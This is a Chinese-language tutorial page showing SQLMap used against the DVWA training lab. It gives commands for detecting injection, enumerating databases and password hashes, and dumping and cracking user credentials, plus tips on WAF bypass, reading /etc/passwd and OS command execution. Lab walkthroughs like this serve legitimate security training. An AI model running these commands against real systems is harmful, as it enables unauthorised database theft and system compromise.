首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQLMap 入門實戰:自動化 SQL 注入檢測與利用全流程演示(DVWA 靶場)

     編輯:關於SqlServer

什麼是 SQLMap

開源滲透測試工具,自動化檢測、利用 SQL 注入漏洞,支持指紋識別、數據枚舉、文件讀寫、命令執行。官網:https://sqlmap.org,GitHub:https://github.com/sqlmapproject/sqlmap。

實驗環境

  • 靶機:Windows XP + DVWA (Damn Vulnerable Web App),安全級別設置 Low。
  • 攻擊機:Ubuntu 12.04 + SQLMap 最新版。
  • 目標頁面:https://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit,GET 參數 id 存在注入。
  • 會話 Cookie:PHPSESSID=xxx; security=low(用 Tamper Data 抓取)。

核心命令流程

  1. 驗證注入 & 獲取基本信息
    python sqlmap.py -u "https://target/sqli/?id=1&Submit=Submit" \
      --cookie="PHPSESSID=xxx; security=low" \
      -b --current-db --current-user
    輸出:DBMS=MySQL 5.0, OS=Ubuntu, User=root, DB=DVWA。
  2. 枚舉數據庫用戶與密碼哈希
    python sqlmap.py -u "..." --cookie="..." \
      --string="Surname" --users --passwords
    獲取 root、phpmyadmin 等用戶哈希(均為 *C30441E06530498BC86019BF3211B94B3BAB295A)。
  3. 枚舉所有數據庫
    python sqlmap.py -u "..." --cookie="..." --dbs
    列出:dvwa, information_schema, mysql, performance_schema, phpmyadmin。
  4. 枚舉指定庫表
    python sqlmap.py -u "..." --cookie="..." -D dvwa --tables
    結果:guestbook, users。
  5. 枚舉表列
    python sqlmap.py -u "..." --cookie="..." -D dvwa -T users --columns
    列:user_id, user, password, avatar, first_name, last_name。
  6. 導出數據 (破解哈希)
    python sqlmap.py -u "..." --cookie="..." -D dvwa -T users -C user,password --dump
    自動調用字典破解 MD5,得到明文:admin/password, gordonb/abc123 等。

關鍵參數速查

參數說明
-u / --url目標 URL
--cookieHTTP Cookie,維持會話
--dataPOST 數據,自動檢測 POST 注入
-b / --banner獲取 DBMS 版本信息
--current-db / --current-user當前庫/用戶
--dbs / --tables / --columns枚舉庫/表/列
-D / -T / -C指定庫/表/列
--dump導出表數據
--string / --regexp真/偽頁面特徵標識
--batch非交互模式,自動選擇默認值
--threads併發線程數 (默認 1,可加速)
--tamperWAF 繞過腳本 (如 space2comment.py)

實戰進階技巧

  • WAF 繞過:--tamper=space2comment,between,randomcase 組合使用。
  • 二階注入:--second-order=URL 指定二次觸發頁面。
  • 文件讀取:--file-read=/etc/passwd (需 FILE 權限)。
  • 命令執行:--os-cmd=whoami / --os-shell (需高權限、特定 DBMS)。
  • 保存/恢復會話:--save-session / --load-session 斷點續掃。

法律與道德警示

⚠️ 僅授權測試環境使用。未經書面授權對目標系統運行 SQLMap 屬非法入侵,承擔法律責任。企業滲透測試需簽署授權書、明確範圍、規則、報告流程。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved